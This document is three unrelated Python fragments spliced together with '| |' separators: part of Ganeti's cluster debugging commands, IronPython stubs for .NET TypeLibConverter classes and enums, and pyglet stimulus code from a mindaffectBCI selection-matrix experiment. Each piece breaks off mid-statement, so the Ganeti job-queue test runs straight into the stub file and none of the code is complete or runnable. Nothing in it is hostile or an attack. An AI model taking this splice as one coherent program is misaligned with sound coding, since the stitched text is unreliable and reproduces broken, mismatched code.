# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
"""Debugging commands"""
# pylint: disable=W0401,W0614,C0103
# W0401: Wildcard import ganeti.cli
# W0614: Unused import %s from wildcard import (since we need cli)
# C0103: Invalid name gnt-backup
import simplejson
import time
import socket
import logging
from ganeti.cli import *
from ganeti import cli
from ganeti import constants
from ganeti import opcodes
from ganeti import utils
from ganeti import errors
from ganeti import compat
from ganeti import ht
from ganeti import metad
from ganeti import wconfd
#: Default fields for L{ListLocks}
_LIST_LOCKS_DEF_FIELDS = [
"name",
"mode",
"owner",
"pending",
]
def Delay(opts, args):
"""Sleeps for a while
@param opts: the command line options selected by the user
@type args: list
@param args: should contain only one element, the duration
the sleep
@rtype: int
@return: the desired exit code
"""
delay = float(args[0])
op = opcodes.OpTestDelay(duration=delay,
on_master=opts.on_master,
on_nodes=opts.on_nodes,
repeat=opts.repeat,
interruptible=opts.interruptible,
no_locks=opts.no_locks)
SubmitOrSend(op, opts)
return 0
def GenericOpCodes(opts, args):
"""Send any opcode to the master.
@param opts: the command line options selected by the user
@type args: list
@param args: should contain only one element, the path of
the file with the opcode definition
@rtype: int
@return: the desired exit code
"""
cl = cli.GetClient()
jex = cli.JobExecutor(cl=cl, verbose=opts.verbose, opts=opts)
job_cnt = 0
op_cnt = 0
if opts.timing_stats:
ToStdout("Loading...")
for job_idx in range(opts.rep_job):
for fname in args:
# pylint: disable=W0142
op_data = simplejson.loads(utils.ReadFile(fname))
op_list = [opcodes.OpCode.LoadOpCode(val) for val in op_data]
op_list = op_list * opts.rep_op
jex.QueueJob("file %s/%d" % (fname, job_idx), *op_list)
op_cnt += len(op_list)
job_cnt += 1
if opts.timing_stats:
t1 = time.time()
ToStdout("Submitting...")
jex.SubmitPending(each=opts.each)
if opts.timing_stats:
t2 = time.time()
ToStdout("Executing...")
jex.GetResults()
if opts.timing_stats:
t3 = time.time()
ToStdout("C:op %4d" % op_cnt)
ToStdout("C:job %4d" % job_cnt)
ToStdout("T:submit %4.4f" % (t2 - t1))
ToStdout("T:exec %4.4f" % (t3 - t2))
ToStdout("T:total %4.4f" % (t3 - t1))
return 0
def TestAllocator(opts, args):
"""Runs the test allocator opcode.
@param opts: the command line options selected by the user
@type args: list
@param args: should contain only one element, the iallocator name
@rtype: int
@return: the desired exit code
"""
try:
disks = [{
constants.IDISK_SIZE: utils.ParseUnit(val),
constants.IDISK_MODE: constants.DISK_RDWR,
} for val in opts.disks.split(",")]
except errors.UnitParseError, err:
ToStderr("Invalid disks parameter '%s': %s", opts.disks, err)
return 1
nics = [val.split("/") for val in opts.nics.split(",")]
for row in nics:
while len(row) < 3:
row.append(None)
for i in range(3):
if row[i] == "":
row[i] = None
nic_dict = [{
constants.INIC_MAC: v[0],
constants.INIC_IP: v[1],
# The iallocator interface defines a "bridge" item
"bridge": v[2],
} for v in nics]
if opts.tags is None:
opts.tags = []
else:
opts.tags = opts.tags.split(",")
if opts.target_groups is None:
target_groups = []
else:
target_groups = opts.target_groups
op = opcodes.OpTestAllocator(mode=opts.mode,
name=args[0],
instances=args,
memory=opts.memory,
disks=disks,
disk_template=opts.disk_template,
nics=nic_dict,
os=opts.os,
vcpus=opts.vcpus,
tags=opts.tags,
direction=opts.direction,
iallocator=opts.iallocator,
evac_mode=opts.evac_mode,
target_groups=target_groups,
spindle_use=opts.spindle_use,
count=opts.count)
result = SubmitOpCode(op, opts=opts)
ToStdout("%s" % result)
return 0
def _TestJobDependency(opts):
"""Tests job dependencies.
"""
ToStdout("Testing job dependencies")
try:
cl = cli.GetClient()
SubmitOpCode(opcodes.OpTestDelay(duration=0, depends=[(-1, None)]), cl=cl)
except errors.GenericError, err:
if opts.debug:
ToStdout("Ignoring error for 'wrong dependencies' test: %s", err)
else:
raise errors.OpExecError("Submitting plain opcode with relative job ID"
" did not fail as expected")
# TODO: Test dependencies on errors
jobs = [
[opcodes.OpTestDelay(duration=1)],
[opcodes.OpTestDelay(duration=1,
depends=[(-1, [])])],
[opcodes.OpTestDelay(duration=1,
depends=[(-2, [constants.JOB_STATUS_SUCCESS])])],
[opcodes.OpTestDelay(duration=1,
depends=[])],
[opcodes.OpTestDelay(duration=1,
depends=[(-2, [constants.JOB_STATUS_SUCCESS])])],
]
# Function for checking result
check_fn = ht.TListOf(ht.TAnd(ht.TIsLength(2),
ht.TItems([ht.TBool,
ht.TOr(ht.TNonEmptyString,
ht.TJobId)])))
cl = cli.GetClient()
result = cl.SubmitManyJobs(jobs)
if not check_fn(result):
raise errors.OpExecError("Job submission doesn't match %s: %s" %
(check_fn, result))
# Wait for jobs to finish
jex = JobExecutor(cl=cl, opts=opts)
for (status, job_id) in result:
jex.AddJobId(None, status, job_id)
job_results = jex.GetResults()
if not compat.all(row[0] for row in job_results):
raise errors.OpExecError("At least one of the submitted jobs failed: %s" %
job_results)
# Get details about jobs
data = cl.QueryJobs([job_id for (_, job_id) in result],
["id", "opexec", "ops"])
data_job_id = [job_id for (job_id, _, _) in data]
data_opexec = [opexec for (_, opexec, _) in data]
data_op = [[opcodes.OpCode.LoadOpCode(op) for op in ops]
for (_, _, ops) in data]
assert compat.all(not op.depends or len(op.depends) == 1
for ops in data_op
for op in ops)
# Check resolved job IDs in dependencies
for (job_idx, res_jobdep) in [(1, data_job_id[0]),
(2, data_job_id[0]),
(4, data_job_id[2])]:
if data_op[job_idx][0].depends[0][0] != res_jobdep:
raise errors.OpExecError("Job %s's opcode doesn't depend on correct job"
" ID (%s)" % (job_idx, res_jobdep))
# Check execution order
if not (data_opexec[0] <= data_opexec[1] and
data_opexec[0] <= data_opexec[2] and
data_opexec[2] <= data_opexec[4]):
raise errors.OpExecError("Jobs did not run in correct order: %s" % data)
assert len(jobs) == 5 and compat.all(len(ops) == 1 for ops in jobs)
ToStdout("Job dependency tests were successful")
def _TestJobSubmission(opts):
"""Tests submitting jobs.
"""
ToStdout("Testing job submission")
testdata = [
(0, 0, constants.OP_PRIO_LOWEST),
(0, 0, constants.OP_PRIO_HIGHEST),
]
for priority in (constants.OP_PRIO_SUBMIT_VALID |
frozenset([constants.OP_PRIO_LOWEST,
constants.OP_PRIO_HIGHEST])):
for offset in [-1, +1]:
testdata.extend([
(0, 0, priority + offset),
(3, 0, priority + offset),
(0, 3, priority + offset),
(4, 2, priority + offset),
])
for before, after, failpriority in testdata:
ops = []
ops.extend([opcodes.OpTestDelay(duration=0) for _ in range(before)])
ops.append(opcodes.OpTestDelay(duration=0, priority=failpriority))
ops.extend([opcodes.OpTestDelay(duration=0) for _ in range(after)])
try:
cl = cli.GetClient()
cl.SubmitJob(ops)
except errors.GenericError, err:
if opts.debug:
ToStdout("Ignoring error for 'wrong priority' test: %s", err)
else:
raise errors.OpExecError("Submitting opcode with priority %s did not"
" fail when it should (allowed are %s)" %
(failpriority, constants.OP_PRIO_SUBMIT_VALID))
jobs = [
[opcodes.OpTestDelay(duration=0),
opcodes.OpTestDelay(duration=0, dry_run=False),
opcodes.OpTestDelay(duration=0, dry_run=True)],
ops,
]
try:
cl = cli.GetClient()
cl.SubmitManyJobs(jobs)
except errors.GenericError, err:
if opts.debug:
ToStdout("Ignoring error for 'wrong priority' test: %s", err)
else:
raise errors.OpExecError("Submitting manyjobs with an incorrect one"
" did not fail when it should.")
ToStdout("Job submission tests were successful")
class _JobQueueTestReporter(cli.StdioJobPollReportCb):
def __init__(self):
"""Initializes this class.
"""
cli.StdioJobPollReportCb.__init__(self)
self._expected_msgcount = 0
self._all_testmsgs = []
self._testmsgs = None
self._job_id = None
def GetTestMessages(self):
"""Returns all test log messages received so far.
"""
return self._all_testmsgs
def GetJobId(self):
"""Returns the job ID.
"""
return self._job_id
def ReportLogMessage(self, job_id, serial, timestamp, log_type, log_msg):
"""Handles a log message.
"""
if self._job_id is None:
self._job_id = job_id
elif self._job_id != job_id:
raise errors.ProgrammerError("The same reporter instance was used for"
" more than one job")
if log_type == constants.ELOG_JQUEUE_TEST:
(sockname, test, arg) = log_msg
return self._ProcessTestMessage(job_id, sockname, test, arg)
elif (log_type == constants.ELOG_MESSAGE and
log_msg.startswith(constants.JQT_MSGPREFIX)):
if self._testmsgs is None:
raise errors.OpExecError("Received test message without a preceding"
" start message")
testmsg = log_msg[len(constants.JQT_MSGPREFIX):]
self._testmsgs.append(testmsg)
self._all_testmsgs.append(testmsg)
return
return cli.StdioJobPollReportCb.ReportLogMessage(self, job_id, serial,
timestamp, log_type,
log_msg)
def _ProcessTestMessage(self, job_id, sockname, test, arg):
"""Handles a job queue test message.
"""
if test not in constants.JQT_ALL:
raise errors.OpExecError("Received invalid test message %s" % test)
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
try:
sock.settimeout(30.0)
logging.debug("Connecting to %s", sockname)
sock.connect(sockname)
logging.debug("Checking status")
jobdetails = cli.GetClient().QueryJobs([job_id], ["status"])[0]
if not jobdetails:
raise errors.OpExecError("Can't find job %s" % job_id)
status = jobdetails[0]
logging.debug("Status of job %s is %s", job_id, status)
if test == constants.JQT_EXPANDNAMES:
if status != constants.JOB_STATUS_WAITING:
raise errors.OpExecError("Job status while expanding names is '%s',"
" not '%s' as expected" %
(status, constants.JOB_STATUS_WAITING))
elif test in | |
TypeLibConverter()
"""
def ConvertAssemblyToTypeLib(self, assembly, strTypeLibName, flags, notifySink):
"""
ConvertAssemblyToTypeLib(self: TypeLibConverter, assembly: Assembly, strTypeLibName: str, flags: TypeLibExporterFlags, notifySink: ITypeLibExporterNotifySink) -> object
Converts an assembly to a COM type library.
assembly: The assembly to convert.
strTypeLibName: The file name of the resulting type library.
flags: A System.Runtime.InteropServices.TypeLibExporterFlags value indicating any
special settings.
notifySink: The System.Runtime.InteropServices.ITypeLibExporterNotifySink interface
implemented by the caller.
Returns: An object that implements the ITypeLib interface.
"""
pass
def ConvertTypeLibToAssembly(self, typeLib, asmFileName, flags, notifySink, publicKey, keyPair, *__args):
"""
ConvertTypeLibToAssembly(self: TypeLibConverter, typeLib: object, asmFileName: str, flags: TypeLibImporterFlags, notifySink: ITypeLibImporterNotifySink, publicKey: Array[Byte], keyPair: StrongNameKeyPair, asmNamespace: str, asmVersion: Version) -> AssemblyBuilder
Converts a COM type library to an assembly.
typeLib: The object that implements the ITypeLib interface.
asmFileName: The file name of the resulting assembly.
flags: A System.Runtime.InteropServices.TypeLibImporterFlags value indicating any
special settings.
notifySink: System.Runtime.InteropServices.ITypeLibImporterNotifySink interface implemented
by the caller.
publicKey: A byte array containing the public key.
keyPair: A System.Reflection.StrongNameKeyPair object containing the public and private
cryptographic key pair.
asmNamespace: The namespace for the resulting assembly.
asmVersion: The version of the resulting assembly. If null, the version of the type library
is used.
Returns: An System.Reflection.Emit.AssemblyBuilder object containing the converted type
library.
ConvertTypeLibToAssembly(self: TypeLibConverter, typeLib: object, asmFileName: str, flags: int, notifySink: ITypeLibImporterNotifySink, publicKey: Array[Byte], keyPair: StrongNameKeyPair, unsafeInterfaces: bool) -> AssemblyBuilder
Converts a COM type library to an assembly.
typeLib: The object that implements the ITypeLib interface.
asmFileName: The file name of the resulting assembly.
flags: A System.Runtime.InteropServices.TypeLibImporterFlags value indicating any
special settings.
notifySink: System.Runtime.InteropServices.ITypeLibImporterNotifySink interface implemented
by the caller.
publicKey: A byte array containing the public key.
keyPair: A System.Reflection.StrongNameKeyPair object containing the public and private
cryptographic key pair.
unsafeInterfaces: If true, the interfaces require link time checks for
System.Security.Permissions.SecurityPermissionFlag.UnmanagedCode permission. If
false, the interfaces require run time checks that require a stack walk and are
more expensive, but help provide greater protection.
Returns: An System.Reflection.Emit.AssemblyBuilder object containing the converted type
library.
"""
pass
def GetPrimaryInteropAssembly(self, g, major, minor, lcid, asmName, asmCodeBase):
"""
GetPrimaryInteropAssembly(self: TypeLibConverter, g: Guid, major: int, minor: int, lcid: int) -> (bool, str, str)
Gets the name and code base of a primary interop assembly for a specified type
library.
g: The GUID of the type library.
major: The major version number of the type library.
minor: The minor version number of the type library.
lcid: The LCID of the type library.
Returns: true if the primary interop assembly was found in the registry; otherwise false.
"""
pass
def __init__(self, *args): #cannot find CLR method
""" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """
pass
def __repr__(self, *args): #cannot find CLR method
""" __repr__(self: object) -> str """
pass
class TypeLibExporterFlags(Enum, IComparable, IFormattable, IConvertible):
"""
Indicates how a type library should be produced.
enum (flags) TypeLibExporterFlags, values: CallerResolvedReferences (2), ExportAs32Bit (16), ExportAs64Bit (32), None (0), OldNames (4), OnlyReferenceRegistered (1)
"""
def __eq__(self, *args): #cannot find CLR method
""" x.__eq__(y) <==> x==yx.__eq__(y) <==> x==yx.__eq__(y) <==> x==y """
pass
def __format__(self, *args): #cannot find CLR method
""" __format__(formattable: IFormattable, format: str) -> str """
pass
def __ge__(self, *args): #cannot find CLR method
pass
def __gt__(self, *args): #cannot find CLR method
pass
def __init__(self, *args): #cannot find CLR method
""" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """
pass
def __le__(self, *args): #cannot find CLR method
pass
def __lt__(self, *args): #cannot find CLR method
pass
def __ne__(self, *args): #cannot find CLR method
pass
def __reduce_ex__(self, *args): #cannot find CLR method
pass
def __str__(self, *args): #cannot find CLR method
pass
CallerResolvedReferences = None
ExportAs32Bit = None
ExportAs64Bit = None
None = None
OldNames = None
OnlyReferenceRegistered = None
value__ = None
class TypeLibFuncAttribute(Attribute, _Attribute):
"""
Contains the System.Runtime.InteropServices.FUNCFLAGS that were originally imported for this method from the COM type library.
TypeLibFuncAttribute(flags: TypeLibFuncFlags)
TypeLibFuncAttribute(flags: Int16)
"""
def __init__(self, *args): #cannot find CLR method
""" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """
pass
@staticmethod # known case of __new__
def __new__(self, flags):
"""
__new__(cls: type, flags: TypeLibFuncFlags)
__new__(cls: type, flags: Int16)
"""
pass
Value = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
"""Gets the System.Runtime.InteropServices.TypeLibFuncFlags value for this method.
Get: Value(self: TypeLibFuncAttribute) -> TypeLibFuncFlags
"""
class TypeLibFuncFlags(Enum, IComparable, IFormattable, IConvertible):
"""
Describes the original settings of the FUNCFLAGS in the COM type library from where this method was imported.
enum (flags) TypeLibFuncFlags, values: FBindable (4), FDefaultBind (32), FDefaultCollelem (256), FDisplayBind (16), FHidden (64), FImmediateBind (4096), FNonBrowsable (1024), FReplaceable (2048), FRequestEdit (8), FRestricted (1), FSource (2), FUiDefault (512), FUsesGetLastError (128)
"""
def __eq__(self, *args): #cannot find CLR method
""" x.__eq__(y) <==> x==yx.__eq__(y) <==> x==yx.__eq__(y) <==> x==y """
pass
def __format__(self, *args): #cannot find CLR method
""" __format__(formattable: IFormattable, format: str) -> str """
pass
def __ge__(self, *args): #cannot find CLR method
pass
def __gt__(self, *args): #cannot find CLR method
pass
def __init__(self, *args): #cannot find CLR method
""" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """
pass
def __le__(self, *args): #cannot find CLR method
pass
def __lt__(self, *args): #cannot find CLR method
pass
def __ne__(self, *args): #cannot find CLR method
pass
def __reduce_ex__(self, *args): #cannot find CLR method
pass
def __str__(self, *args): #cannot find CLR method
pass
FBindable = None
FDefaultBind = None
FDefaultCollelem = None
FDisplayBind = None
FHidden = None
FImmediateBind = None
FNonBrowsable = None
FReplaceable = None
FRequestEdit = None
FRestricted = None
FSource = None
FUiDefault = None
FUsesGetLastError = None
value__ = None
class TypeLibImportClassAttribute(Attribute, _Attribute):
"""
Specifies which System.Type exclusively uses an interface. This class cannot be inherited.
TypeLibImportClassAttribute(importClass: Type)
"""
def __init__(self, *args): #cannot find CLR method
""" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """
pass
@staticmethod # known case of __new__
def __new__(self, importClass):
""" __new__(cls: type, importClass: Type) """
pass
Value = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
"""Gets the name of a System.Type object that exclusively uses an interface.
Get: Value(self: TypeLibImportClassAttribute) -> str
"""
class TypeLibImporterFlags(Enum, IComparable, IFormattable, IConvertible):
"""
Indicates how an assembly should be produced.
enum (flags) TypeLibImporterFlags, values: ImportAsAgnostic (2048), ImportAsArm (16384), ImportAsItanium (1024), ImportAsX64 (512), ImportAsX86 (256), NoDefineVersionResource (8192), None (0), PreventClassMembers (16), PrimaryInteropAssembly (1), ReflectionOnlyLoading (4096), SafeArrayAsSystemArray (4), SerializableValueClasses (32), TransformDispRetVals (8), UnsafeInterfaces (2)
"""
def __eq__(self, *args): #cannot find CLR method
""" x.__eq__(y) <==> x==yx.__eq__(y) <==> x==yx.__eq__(y) <==> x==y """
pass
def __format__(self, *args): #cannot find CLR method
""" __format__(formattable: IFormattable, format: str) -> str """
pass
def __ge__(self, *args): #cannot find CLR method
pass
def __gt__(self, *args): #cannot find CLR method
pass
def __init__(self, *args): #cannot find CLR method
""" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """
pass
def __le__(self, *args): #cannot find CLR method
pass
def __lt__(self, *args): #cannot find CLR method
pass
def __ne__(self, *args): #cannot find CLR method
pass
def __reduce_ex__(self, *args): #cannot find CLR method
pass
def __str__(self, *args): #cannot find CLR method
pass
ImportAsAgnostic = None
ImportAsArm = None
ImportAsItanium = None
ImportAsX64 = None
ImportAsX86 = None
NoDefineVersionResource = None
None = None
PreventClassMembers = None
PrimaryInteropAssembly = None
ReflectionOnlyLoading = None
SafeArrayAsSystemArray = None
SerializableValueClasses = None
TransformDispRetVals = None
UnsafeInterfaces = None
value__ = None
class TypeLibTypeAttribute(Attribute, _Attribute):
"""
Contains the System.Runtime.InteropServices.TYPEFLAGS that were originally imported for this type from the | |
/ isi
self.prediction_args['numframes'] = self.prediction_trialduration / isi
self.calibration_args['waitframes'] = self.waitduration / isi
self.prediction_args['waitframes'] = self.waitduration / isi
self.calibration_args['feedbackframes'] = self.feedbackduration / isi
self.prediction_args['feedbackframes'] = self.feedbackduration / isi
self.fullscreen_stimulus = fullscreen_stimulus
self.selectionThreshold = selectionThreshold
self.simple_calibration = simple_calibration
self.screen = None
self.transitionNextPhase()
def draw(self, t):
if self.screen is None:
return
self.screen.draw(t)
if self.screen.is_done():
self.transitionNextPhase()
def is_done(self):
return self.screen is None
def transitionNextPhase(self):
print("stage transition")
# move to the next stage
if self.next_stage is not None:
self.stage = self.next_stage
self.next_stage = None
else: # assume it's from the menu
self.stage = self.menu_keys.get(self.menu.key_press,self.ExptPhases.MainMenu)
self.next_stage = None
if self.stage==self.ExptPhases.MainMenu: # main menu
if self.fullscreen_stimulus==True :
self.window.set_fullscreen(fullscreen=False)
print("main menu")
self.menu.reset()
self.screen = self.menu
self.noisetag.modeChange('idle')
self.next_stage = None
elif self.stage==self.ExptPhases.Welcome: # welcome instruct
print("welcome instruct")
self.instruct.set_text(self.welcomeInstruct)
self.instruct.reset()
self.screen = self.instruct
self.next_stage = self.ExptPhases.Connecting
elif self.stage==self.ExptPhases.Reset: # reset the decoder
print("reset")
self.instruct.set_text(self.resetInstruct)
self.instruct.reset()
self.screen = self.instruct
self.noisetag.modeChange("reset")
self.next_stage = self.ExptPhases.MainMenu
elif self.stage==self.ExptPhases.Connecting: # connecting instruct
print("connecting screen")
self.connecting.reset()
self.screen = self.connecting
self.next_stage = self.ExptPhases.MainMenu
elif self.stage==self.ExptPhases.SignalQuality: # electrode quality
print("signal quality")
self.electquality.reset()
self.screen=self.electquality
self.next_stage = self.ExptPhases.MainMenu
elif self.stage==self.ExptPhases.CalInstruct: # calibration instruct
print("Calibration instruct")
if self.fullscreen_stimulus==True :
self.window.set_fullscreen(fullscreen=True)
self.instruct.set_text(self.calibrationInstruct)
self.instruct.reset()
self.screen=self.instruct
self.next_stage = self.ExptPhases.Calibration
elif self.stage==self.ExptPhases.Calibration: # calibration
print("calibration")
self.selectionGrid.reset()
self.selectionGrid.set_grid(symbols=self.calibration_symbols, bgFraction=self.bgFraction)
self.selectionGrid.liveFeedback=False
self.selectionGrid.target_only=self.simple_calibration
self.selectionGrid.set_sentence('Calibration: look at the green cue.')
self.calibration_args['framesperbit'] = self.framesperbit
self.calibration_args['numframes'] = self.calibration_trialduration / isi
self.calibration_args['selectionThreshold']=self.selectionThreshold
self.selectionGrid.noisetag.startCalibration(**self.calibration_args)
self.screen = self.selectionGrid
self.next_stage = self.ExptPhases.CalResults
elif self.stage==self.ExptPhases.CalResults: # Calibration Results
print("Calibration Results")
if self.fullscreen_stimulus==True :
self.window.set_fullscreen(fullscreen=True)
self.results.reset()
self.screen=self.results
self.next_stage = self.ExptPhases.MainMenu
elif self.stage==self.ExptPhases.CuedPredInstruct: # pred instruct
print("cued pred instruct")
if self.fullscreen_stimulus==True :
self.window.set_fullscreen(fullscreen=True)
self.instruct.set_text(self.cuedpredictionInstruct)
self.instruct.reset()
self.screen=self.instruct
self.next_stage = self.ExptPhases.CuedPrediction
elif self.stage==self.ExptPhases.CuedPrediction: # pred
print("cued prediction")
self.selectionGrid.reset()
self.selectionGrid.set_grid(symbols=self.symbols, bgFraction=self.bgFraction)
self.selectionGrid.liveFeedback=True
self.selectionGrid.setliveSelections(True)
self.selectionGrid.target_only=False
self.selectionGrid.show_correct=True
self.selectionGrid.set_sentence('CuedPrediction: look at the green cue.\n')
self.prediction_args['framesperbit'] = self.framesperbit
self.prediction_args['numframes'] = self.prediction_trialduration / isi
self.prediction_args['selectionThreshold']=self.selectionThreshold
self.selectionGrid.noisetag.startPrediction(cuedprediction=True, **self.prediction_args)
self.screen = self.selectionGrid
self.next_stage = self.ExptPhases.MainMenu
elif self.stage==self.ExptPhases.PredInstruct: # pred instruct
print("pred instruct")
if self.fullscreen_stimulus==True :
self.window.set_fullscreen(fullscreen=True)
self.instruct.set_text(self.predictionInstruct)
self.instruct.reset()
self.screen=self.instruct
self.next_stage = self.ExptPhases.Prediction
elif self.stage==self.ExptPhases.Prediction: # pred
print("prediction")
self.selectionGrid.reset()
self.selectionGrid.set_grid(symbols=self.symbols, bgFraction=.05)
self.selectionGrid.liveFeedback=True
self.selectionGrid.target_only=False
self.selectionGrid.show_correct=False
self.selectionGrid.set_sentence('')
self.selectionGrid.setliveSelections(True)
self.prediction_args['framesperbit'] = self.framesperbit
self.prediction_args['numframes'] = self.prediction_trialduration / isi
self.prediction_args['selectionThreshold']=self.selectionThreshold
self.selectionGrid.noisetag.startPrediction(**self.prediction_args)
self.screen = self.selectionGrid
self.next_stage = self.ExptPhases.MainMenu
elif self.stage==self.ExptPhases.ExtraSymbols: # pred
print("Extra Prediction")
key2i = {pyglet.window.key._4:0,pyglet.window.key._5:1, pyglet.window.key._6:2}
extrai = key2i.get(self.menu.key_press,None)
if extrai is not None:
self.selectionGrid.reset()
self.selectionGrid.set_grid(symbols=self.extra_symbols[extrai], bgFraction=.05)
self.selectionGrid.liveFeedback=True
self.selectionGrid.target_only=False
self.selectionGrid.show_correct=False
self.selectionGrid.set_sentence('')
self.selectionGrid.setliveSelections(True)
self.prediction_args['framesperbit'] = self.framesperbit
self.prediction_args['numframes'] = self.prediction_trialduration / isi
self.prediction_args['selectionThreshold']=self.selectionThreshold
self.selectionGrid.noisetag.startPrediction(**self.prediction_args)
self.screen = self.selectionGrid
self.next_stage = self.ExptPhases.MainMenu
elif self.stage==self.ExptPhases.Closing: # closing instruct
print("closing instruct")
self.instruct.set_text(self.closingInstruct)
self.instruct.reset()
self.screen=self.instruct
self.next_stage = self.ExptPhases.Quit
elif self.stage==self.ExptPhases.Minimize: # closing instruct
print("minimize")
self.window.minimize()
self.next_stage = self.ExptPhases.MainMenu
elif self.stage==None: # testing stages..
#print("flicker with selection")
#self.selectionGrid.noisetag.startFlickerWithSelection(numframes=10/isi)
print("single trial")
self.selectionGrid.set_grid([[None, 'up', None],
['left', 'fire', 'right']])
self.selectionGrid.noisetag.startSingleTrial(numframes=10/isi)
# N.B. ensure decoder is in prediction mode!
self.selectionGrid.noisetag.modeChange('Prediction.static')
self.selectionGrid.reset()
self.screen = self.selectionGrid
elif self.stage==self.ExptPhases.FrameRateCheck: # frame-rate-check
print("frame-rate-check")
#from mindaffectBCI.examples.presentation.framerate_check import FrameRateTestScreen
self.screen=FrameRateTestScreen(self.window,waitKey=True)
self.next_stage = self.ExptPhases.MainMenu
elif self.stage==self.ExptPhases.Settings: # config settings
print("settings")
self.screen = SettingsScreen(self.window, self)
self.next_stage = self.ExptPhases.MainMenu
else: # end
print('quit')
self.screen=None
#------------------------------------------------------------------------
# Initialization: display, utopia-connection
# use noisetag object as time-stamp provider
def getTimeStamp():
if 'nt' in globals():
global nt
return nt.getTimeStamp()
else: # fall back if not connected to utopia client
import time
return (int(time.perf_counter()*1000) % (1<<31))
import types
from mindaffectBCI.noisetag import sumstats
flipstats=sumstats(60)
fliplogtime=0
def timedflip(self):
'''pseudo method type which records the timestamp for window flips'''
global flipstats, fliplogtime
type(self).flip(self)
olft=self.lastfliptime
self.lastfliptime=getTimeStamp()
if flipstats is not None:
flipstats.addpoint(self.lastfliptime-olft)
#if self.lastfliptime > fliplogtime:
# fliplogtime=fliplogtime+5000
# print("\nFlipTimes:"+str(flipstats))
# print("Hist:\n"+flipstats.hist())
def on_key_press(symbols, modifiers):
'''main key-press handler, which stores the last key in a global variable'''
global window
window.last_key_press=symbols
def on_text(text):
global window
window.last_text = text
def initPyglet(fullscreen=False):
'''intialize the pyglet window, keyhandler'''
global window
# set up the window
if fullscreen:
print('Fullscreen mode!')
# N.B. accurate video timing only guaranteed with fullscreen
# N.B. over-sampling seems to introduce frame lagging on windows+Intell
config = pyglet.gl.Config(double_buffer=True) #double_buffer=False,sample_buffers=1, samples=4)
window = pyglet.window.Window(fullscreen=True, vsync=True, resizable=False, config=config)
else:
config = pyglet.gl.Config(double_buffer=True)#,sample_buffers=1, samples=4)
window = pyglet.window.Window(width=1024, height=768, vsync=True, resizable=True, config=config)
# setup a key press handler, just store key-press in global variable
window.push_handlers(on_key_press, on_text)
window.last_key_press=None
window.last_text=None
# override window's flip method to record the exact *time* the
# flip happended
window.flip = types.MethodType(timedflip, window)
window.lastfliptime=getTimeStamp()
global fliplogtime; fliplogtime=window.lastfliptime
# minimize on tab away, when in fullscreen mode:
@window.event
def on_deactivate():
# TODO []: stop minimise when switch to/from full-screen mode
if fullscreen:
window.minimize()
# TODO[]: handle resize events correctly.
return window
def draw(dt):
'''main window draw function, which redirects to the screen stack'''
global ss, nframe
nframe=nframe+1
ss.draw(dt)
# check for termination
if ss.is_done():
print('app exit')
pyglet.app.exit()
#print('.', end='', flush=True)
def run_screen(screen:Screen, drawrate:float=-1, win:pyglet.window=None):
global ss, window, nframe
nframe = 0
ss = screen
if win is not None:
window = win
# set per-frame callback to the draw function
if drawrate > 0:
# slow down for debugging
pyglet.clock.schedule_interval(draw, drawrate)
else:
# call the draw method as fast as possible, i.e. at video frame rate!
pyglet.clock.schedule(draw)
# mainloop
pyglet.app.run()
pyglet.app.EventLoop().exit()
window.set_visible(False)
def load_symbols(fn):
"""load a screen layout from a text file
Args:
fn (str): file name to load from
Returns:
symbols [list of lists of str]: list of list of the symbols strings
"""
symbols = []
# search in likely directories for the file, cwd, pydir, projectroot
fn = search_directories_for_file(fn,os.path.dirname(os.path.abspath(__file__)),
os.path.join(os.path.dirname(os.path.abspath(__file__)),'..','..'))
with open(fn,'r', encoding='utf8') as f:
for line in f:
# skip comment lines
if line.startswith('#'): continue
# delim is ,
line = line.split(',')
# strip whitespace
line = [ l.strip() for l in line if l is not None ]
# None for empty strings
line = [ l if not l == "" else None for l in line ]
# strip quotes
line = [ l.strip('\"') if l is not None else l for l in line ]
# add
symbols.append(line)
return symbols
def run(symbols=None, ncal:int=10, npred:int=10, calibration_trialduration=4.2, prediction_trialduration=20, feedbackduration:float=2, stimfile=None, selectionThreshold:float=.1,
framesperbit:int=1, optosensor:bool=True, fullscreen:bool=False, windowed:bool=None,
fullscreen_stimulus:bool=True, simple_calibration=False, host=None, calibration_symbols=None, bgFraction=.1,
extra_symbols=None, calibration_args:dict=None, prediction_args:dict=None):
""" run the selection Matrix with default settings
Args:
nCal (int, optional): number of calibration trials. Defaults to 10.
nPred (int, optional): number of prediction trials at a time. Defaults to 10.
simple_calibration (bool, optional): flag if we show only a single target during calibration, Defaults to False.
stimFile ([type], optional): the stimulus file to use for the codes. Defaults to None.
framesperbit (int, optional): number of video frames per stimulus codebit. Defaults to 1.
fullscreen (bool, optional): flag if should runn full-screen. Defaults to False.
fullscreen_stimulus (bool, optional): flag if should run the stimulus (i.e. flicker) in fullscreen mode. Defaults to True.
simple_calibration (bool, optional): flag if we only show the *target* during calibration. Defaults to False
calibration_trialduration (float, optional): flicker duration for the calibration trials. Defaults to 4.2.
prediction_trialduration (float, optional): flicker duration for the prediction trials. Defaults to 10.
